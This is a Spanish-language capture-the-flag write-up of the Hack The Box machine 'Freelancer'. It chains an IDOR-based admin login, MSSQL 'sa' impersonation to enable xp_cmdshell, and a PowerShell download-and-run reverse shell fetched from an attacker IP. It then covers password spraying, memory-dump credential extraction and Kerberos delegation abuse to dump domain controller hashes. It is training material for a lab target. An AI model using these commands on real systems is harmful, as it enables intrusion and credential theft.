HTB: Freelancer WriteUp 🪟
Freelancer
“Freelancer” es una máquina de dificultad alta diseñada para desafiar a los jugadores con vulnerabilidades comunes en pruebas de penetración del mundo real. Cubre habilidades como la identificación de fallos de lógica empresarial en aplicaciones web, la explotación de vulnerabilidades comunes como IDOR y el bypass de autorización, y ataques de suplantación de SQL. Los jugadores enfrentan escenarios como la exposición de información sensible a través de enumeración de directorios y la construcción manual de consultas SQL. Se introducen técnicas avanzadas, como la ejecución remota de código y forense de memoria en Windows, con un enfoque especial en ataques de Active Directory. Esto incluye la explotación del “Recycle Bin” de AD y el grupo de “Backup Operators”. También se abordan técnicas como el password spraying, cracking de hashes y el bypass de herramientas antivirus, ofreciendo una experiencia integral que pone a prueba técnicas básicas y avanzadas de pruebas de penetración.

Análisis de Puertos y Enumeración en Freelancer HTB
Iniciamos nuestro análisis realizando un escaneo de puertos con la herramienta Nmap, que nos revela una serie de puertos abiertos. Observamos que varios de ellos son comunes en un entorno de Active Directory, y nos llama la atención la presencia del puerto 80, lo que sugiere que podría haber oportunidades para realizar hacking web. Para guiarnos en esta dirección, consideramos que el Framework OWASP es una excelente referencia.
El comando que utilizamos para escanear todos los puertos de manera rápida, muy popular en la comunidad hispanohablante, es el siguiente:
nmap -p- --open --min-rate 5000 -sS -f -Pn -n [IP] -oG puertos
Esta técnica es altamente efectiva, ya que nos permite realizar un escaneo veloz, ideal para resolver CTFs de forma eficiente.

A continuación, utilizamos Nmap para realizar un escaneo específico en los puertos identificados previamente, con el objetivo de detectar versiones de servicios. Si encontramos un servicio obsoleto, es posible que descubramos alguna vulnerabilidad.
En el puerto 55297, nos topamos con un servidor MSSQL de la versión 2019, lo que puede presentar ciertas oportunidades para la explotación. Además, hemos obtenido el nombre de dominio: freelancer.htb
, sugiriendo que podría haber un recurso compartido a nivel de red.
nmap -plista_de_puertos -sS -sCV -f -Pn -n ip -oN objetivos.txt

El servidor utiliza SMB versión 2. También observamos que el puerto 80 está habilitado y nos redirige a http://freelancer.htb/
.
Es momento de enumerar el servicio SMB, pero lamentablemente no tenemos éxito, ya que no contamos con el usuario guest.

Al acceder a la página web, encontramos que se presenta como “la mejor plataforma para conseguir tu próximo trabajo”, permitiendo que las personas trabajen como freelancers.

Para avanzar, emplearé FFUF para realizar un escaneo de subdirectorios y subdominios. En caso de que no obtengamos resultados, será crucial acceder al sitio y buscar información manualmente.

Mientras llevamos a cabo el escaneo con FFUF, también debemos interactuar con la página web para ver si encontramos algo de interés. El comando que utilizaremos es el siguiente:
ffuf -u http://freelancer.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
Mientras esperamos las respuestas de FFUF, comenzamos a explorar el sitio para obtener una visión más clara de a qué nos enfrentamos. Notamos que tenemos la opción de registrarnos tanto como freelancer como empresa.

También existe la posibilidad de suscribirnos a un newsletter.

Mientras tanto, nuestro escaneo de subdirectorios ha revelado varios resultados interesantes.

Uno de los subdirectorios que destaca es /admin, aunque lamentablemente no hemos obtenido respuesta del servidor al intentar acceder a él.

Decidimos proceder creando una cuenta como freelancer. Si no encontramos información útil, luego intentaremos crear una cuenta como empresa. Para ello, generamos una cuenta con información falsa, dado que se trata de un entorno controlado y no consideramos necesario usar datos reales.

Al parecer, el escaneo con FFUF provoca que el servidor se caiga, lo que sugiere que no está diseñado para buscar dominios o subdominios. Una vez que creamos nuestra cuenta, nos redirigieron a la página de inicio de sesión, donde ingresamos nuestras credenciales y accedimos al subdirectorio de búsqueda de trabajos, que es bastante similar a HackerOne.

Al aplicar para un trabajo, se nos presenta una página con información sobre el puesto, el salario, etc. Sin embargo, al observar detenidamente la URL, notamos que se estructura con id=
, lo que nos da la oportunidad de probar una técnica de IDOR (Insecure Direct Object Reference).


Si cambiamos el ID, el servidor nos redirige a otro trabajo. Voy a empezar a jugar con esto en busca de algo interesante. Sin embargo, hasta ahora no he encontrado nada destacable; todos los trabajos propuestos son similares. A partir de la opción número 13, el recurso no estará disponible.

Después de un tiempo buscando información, no hemos obtenido resultados relevantes. Así que es hora de crear una cuenta como empresa, que es la única de nuestras tres opciones principales que aún no hemos probado.
Al intentar crear una cuenta como empresa, nos encontramos con la siguiente notificación:

Procedemos a crear la cuenta de empresa de la misma manera que lo hicimos al registrarnos como freelancer.

Sin embargo, nos encontramos con un error al intentar completar la creación de la cuenta.

Parece que ambos tipos de cuentas utilizan la misma base de datos, por lo que decidimos crear una cuenta con un nombre diferente.

Al intentar iniciar sesión, recibimos el siguiente mensaje de error:

A pesar de esperar un rato, no obtuve éxito y seguía recibiendo el mismo mensaje. Por lo tanto, decidimos intentar la opción de recuperación de cuenta para ver si podíamos obtener acceso de esa manera.

Iniciamos el proceso para resetear la contraseña, lo que nos redirige nuevamente a la página de inicio de sesión. Allí ingresamos nuestro nombre de usuario y la nueva contraseña que acabamos de crear.

Descubriendo Vulnerabilidades en el Sitio
Mientras navegaba por el sitio, no encontraba ninguna vulnerabilidad o pista que me llamara la atención. Sin embargo, al investigar más a fondo, descubrí una vulnerabilidad de tipo IDOR (Insecure Direct Object Reference) en el código QR. Esta opción era nueva para mí, así que decidí escanear el código y obtuve la siguiente dirección URL:
http://freelancer.htb/accounts/login/otp/MTAwMTE=/2adb754a03a3a8693ef2b04b6f0b39e0/
La URL contiene una cadena en Base64, la cual debemos decodificar. A simple vista, es evidente que la cadena está codificada en Base64, y a su lado hay un hash que podría ser MD5.

Sin embargo, no estoy seguro de si esta información será útil, así que continúo buscando algún indicio que me llame la atención. Observé que el subdirectorio /blog también presenta un problema de IDOR, así que decidí explorar entre los blogs.

Al hacer clic en un usuario, descubrí que podía navegar entre diferentes perfiles.

La URL correspondiente era:
http://freelancer.htb/accounts/profile/visit/5/
Al parecer, crista.w
es el usuario número 5, y nosotros somos el usuario número 10011, como descubrimos anteriormente.

Decidí navegar entre los IDs para identificar el ID de nuestro usuario administrador. Lo lógico era probar con números bajos, ya que se supone que el primer usuario en registrarse tendría el identificador 1. Sin embargo, al intentarlo, recibí un error 404: Page Not Found.

Al probar con el ID 2, obtuve el identificador del usuario admin.

Ahora debemos modificar nuestra URL. Para ello, necesitamos codificar el número 2 en Base64, lo cual podemos hacer en nuestra terminal o usando CyberChef.

La URL original era:
http://freelancer.htb/accounts/login/otp/MTAwMTE=/2adb754a03a3a8693ef2b04b6f0b39e0/
Ahora, la modificamos para que contenga el ID de nuestro usuario administrador, cambiando la URL a:
http://freelancer.htb/accounts/login/otp/Mgo=/2adb754a03a3a8693ef2b04b6f0b39e0/
Sin embargo, esto no funcionará porque el código QR es válido solo por 5 minutos. Así que volvemos a escanear el código y obtendremos otro hash MD5, pero el ID se mantiene:
http://freelancer.htb/accounts/login/otp/Mgo=/fa6b20773398ca14da20421f4026c172/
Con esto, logramos acceder como usuario administrador.

MSSQL Injection
Recordemos que con ffuf encontramos un subdirectorio llamado admin, el cual podría ser útil en este momento.

En este punto, tenemos acceso a una terminal SQL.

Como nuestra base de datos es de Microsoft SQL Server, es esencial conocer la sintaxis adecuada. El nombre de nuestra base de datos es:

Estamos dentro de esta base de datos, así que es hora de hacer algunas consultas. Puedes consultar este recurso para más información sobre la sintaxis de SQL Server. Con la ayuda de ChatGPT, comencé a hacer algunas peticiones para encontrar información.

SELECT table_name
FROM information_schema.tables
WHERE table_type = 'BASE TABLE';
Es hora de utilizar Métodos de Transferencia de Archivos en Windows. Dado que no tenemos privilegios, es el momento de obtener una reverse shell utilizando IEX. Para ello, necesitamos crear un archivo con la extensión .ps1 para que se ejecute. Podemos pedirle a ChatGPT que genere el script para PowerShell.
Iniciamos un servidor con Python:

Escuchamos en el puerto que deseamos:

Ejecutamos el siguiente código en la base de datos:

EXEC xp_cmdshell 'powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://tu_ip:puerto/shell.ps1')"';
Recuerda modificar la IP, el puerto y el nombre de tu archivo. Si no funciona, intentamos con iwr o Invoke-WebRequest.

EXEC xp_cmdshell 'powershell -c "IEX (iwr -usebasicparsing http://10.10.14.11:8000/reverse-powershell.ps1)"';
Sin embargo, encontramos un error. Para habilitar xp_cmdshell, necesitamos ejecutar algunos comandos previos en MSSQL para obtener privilegios en la base de datos.
Aquí hay un desglose de los pasos:
1. Obtener el nombre del propietario de cada base de datos
SELECT suser_sname(owner_sid) FROM sys.databases;
sys.databases
: Contiene información sobre cada base de datos en el servidor.owner_sid
: Identificador de seguridad del propietario de la base de datos.
2. Verificar si el usuario es un sysadmin
EXECUTE AS LOGIN = 'sa';
SELECT IS_SRVROLEMEMBER('sysadmin');
EXECUTE AS LOGIN = 'sa'
: Cambia el contexto de ejecución al usuariosa
.IS_SRVROLEMEMBER('sysadmin')
: Verifica si el usuario actual es miembro del rolsysadmin
.
3. Conceder privilegios a otro usuario
EXECUTE AS LOGIN = 'sa';
EXEC sp_addsrvrolemember 'Freelancer_webapp_user', 'sysadmin';
EXEC sp_addsrvrolemember
: Agrega al usuarioFreelancer_webapp_user
al rolsysadmin
, otorgándole privilegios administrativos.
4. Confirmar la membresía en el rol sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
- Verifica si
Freelancer_webapp_user
ahora tiene privilegios desysadmin
.
Habilitar xp_cmdshell
Para habilitar xp_cmdshell, ejecutamos los siguientes comandos:
EXEC sp_configure 'show advanced options', '1';
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', '1';
RECONFIGURE;
Finalmente, logramos obtener nuestra reverse shell.

Enumeración de Usuarios y Verificación de Credenciales
Hemos recopilado información sobre los usuarios del sistema utilizando el comando net users
y también al explorar el directorio de usuarios. A continuación, se presentan las imágenes que muestran la enumeración de usuarios:


Creé un archivo con todos los usuarios encontrados para llevar un mejor control de la información:

Ahora es momento de comenzar la enumeración para encontrar más detalles sobre las credenciales disponibles:

Encontramos una configuración de la base de datos que incluye una posible contraseña. La contraseña sospechosa es IL0v3ErenY3ager
. Utilizaremos crackmapexec
para verificar si realmente esta contraseña corresponde a alguno de los usuarios enumerados.
crackmapexec smb <ip> -u users -p "IL0v3ErenY3ager"
Después de ejecutar el comando, descubrimos que las credenciales pertenecen al usuario mikasaAckerman:

Movimiento Lateral
Con las credenciales válidas en mano, el siguiente paso es verificar si podemos ejecutar comandos de forma remota. Intentamos utilizar el módulo smb/psexec
de Meterpreter, pero no tuvimos éxito:

También probamos con WinRM, pero no logramos establecer conexión:

Es momento de utilizar Runas para realizar movimiento lateral. Primero, hacemos una copia del archivo que necesitamos:

Luego, nos dirigimos a la memoria temporal y comenzamos un servidor SMB con soporte para SMB 2:

El usuario tiene el ticket preautenticado, pero cuando intentamos copiar el archivo, no funciona:

Dado que el servidor SMB no funcionó, optamos por utilizar certutil, lo que resultó exitoso:

A continuación, ejecutamos el siguiente comando para realizar el movimiento lateral, escuchando en el puerto correspondiente:
.\Runas.exe mikasaAckerman IL0v3ErenY3ager cmd.exe -r 10.10.14.11:9001
Sin embargo, no funcionó, así que decidí utilizar RunasCs como alternativa:


Herramienta Forense y Nuevas Habilidades
Transferimos el archivo a nuestra máquina host y lo descomprimimos. Después de varios días intentando extraer la información del archivo MEMORY.DMP, que es un volcado de memoria, logramos entender que este tipo de archivo es una captura del estado de la memoria de un sistema o proceso específico. Generalmente, estos archivos se generan cuando ocurre un error en un programa o sistema operativo.
Tipos Comunes de Archivos .DMP
-
Volcado de memoria completo (Complete Memory Dump): Captura toda la memoria física del sistema en el momento del fallo, incluyendo tanto la memoria usada como la no utilizada. Estos archivos suelen ser bastante grandes.
-
Volcado de memoria pequeña (Small Memory Dump): Solo captura información mínima, como los controladores y los módulos de software activos durante el fallo. Estos archivos son más pequeños (normalmente 64 KB).
-
Volcado de memoria del kernel (Kernel Memory Dump): Captura únicamente la memoria utilizada por el kernel y los controladores del sistema. No incluye la memoria de las aplicaciones en modo de usuario, por lo que es más pequeño que un volcado completo, pero contiene suficiente información para diagnosticar problemas relacionados con el núcleo del sistema.
-
Volcados de procesos (User-Mode Dump): Se generan cuando un proceso específico falla, capturando solo la memoria utilizada por ese proceso en el momento del fallo.
Para más detalles, este video de Hackavis te da una idea clara de lo que tenemos que realizar: Hackavis Video. Aquí también está el repositorio de la herramienta: Volatility 3 en GitHub.

Clonamos el repositorio y accedemos a volatility3. Es probable que tengamos problemas al instalar los requerimientos:

Por lo tanto, creamos un entorno virtual con los siguientes comandos:
python3 -m venv venv
source venv/bin/activate
Ahora podemos instalar las dependencias necesarias:
pip install -r requirements.txt
Es momento de utilizar la herramienta con el siguiente comando:
python vol.py -f ~/Hackthebox/windows/hard/Freelancer/volcado/MEMORY.DMP windows.lsadump | awk '{print $1, $2}'

Hemos encontrado lo que parece ser una contraseña: PWN3D#l0rr@Armessa199
. Ahora, utilizamos CrackMapExec para determinar a quién pertenecen dichas credenciales:
crackmapexec smb 10.10.11.5 -u users -p 'PWN3D#l0rr@Armessa199'
Y efectivamente, tenemos credenciales totalmente válidas:

Verificamos que el usuario lorra199 pertenezca al grupo de Remote Manage Users:

¡Lo hemos conseguido! (Siempre que tengamos Pwn3d! significa que podemos utilizar Evil-WinRM).
Escalación de Privilegios

Ya tenemos acceso como lorra199, pero el movimiento lateral no creo que termine aquí:

Todavía tenemos al usuario lkazanof, al que aún no hemos tenido acceso. Actualmente, no contamos con ningún privilegio:

Antes de utilizar BloodHound-Python, podemos hacer un escaneo manual para ver a qué grupo pertenecemos:

Pertenecemos al grupo AD Recycle Bin. Vamos a utilizar un ataque de Resource-Based Constrained Delegation. Para ello, utilizaremos Impacket.
1. Creación del Objeto de Computadora
Ejecutamos el siguiente comando para crear un nuevo objeto de computadora llamado ANSW3R$
en el dominio:
impacket-addcomputer -computer-name 'ANSW3R$' -computer-pass 'Fuego123@' -dc-host freelancer.htb -domain-netbios freelancer.htb freelancer.htb/lorra199:'PWN3D#l0rr@Armessa199'
Explicación: Este comando crea un nuevo objeto de computadora, y la contraseña de la computadora es 'Fuego123@'
. Una vez creado, este objeto puede actuar en nombre de otros objetos en el dominio.

2. Delegación de Permisos
Ejecutamos el siguiente comando para otorgar derechos de delegación:
impacket-rbcd -delegate-from 'ANSW3R$' -delegate-to 'DC$' -dc-ip 10.10.11.5 -action 'write' 'freelancer.htb/lorra199:PWN3D#l0rr@Armessa199'
Explicación: Este comando permite que ATTACKERSYSTEM$
actúe en nombre de otros usuarios en el DC. La salida indica que los derechos de delegación se modificaron exitosamente.
3. Sincronización del Sistema
Detenemos el servicio de sincronización de tiempo y sincronizamos manualmente con el siguiente comando:
systemctl stop systemd-timesyncd
ntpdate -u 10.10.11.5

4. Obtención del Ticket
Solicitamos un ticket de servicio (S4U) para impersonar al administrador con el siguiente comando:
impacket-getST -spn 'cifs/DC.freelancer.htb' -impersonate Administrator -dc-ip 10.10.11.5 'freelancer.htb/ANSW3R$:Fuego123@'
Este ticket se guarda en Administrator@cifs_DC.freelancer.htb@FREELANCER.HTB.ccache
, que es un archivo de caché de credenciales Kerberos.

5. Exportar Archivo
Exportamos el archivo de caché con el siguiente comando:
export KRB5CCNAME=Administrator@cifs_DC.freelancer.htb@FREELANCER.HTB.ccache

6. Uso de Impacket Secretsdump
Utilizamos impacket-secretsdump para obtener los hashes NTLM del DC:
impacket-secretsdump 'freelancer.htb/Administrator@DC.freelancer.htb' -k -no-pass -dc-ip 10.10.11.5 -target-ip 10.10.11.5 -just-dc-ntlm

Ahora debemos comprobar si realmente son los hashes NTLM del DC:

Parece que sí:

Hemos conseguido la bandera de root, pero no del usuario. ¡Jajajaja! Me acabo de dar cuenta de que la bandera del usuario la tenía el usuario mikasaAckerman:

Y eso sería todo.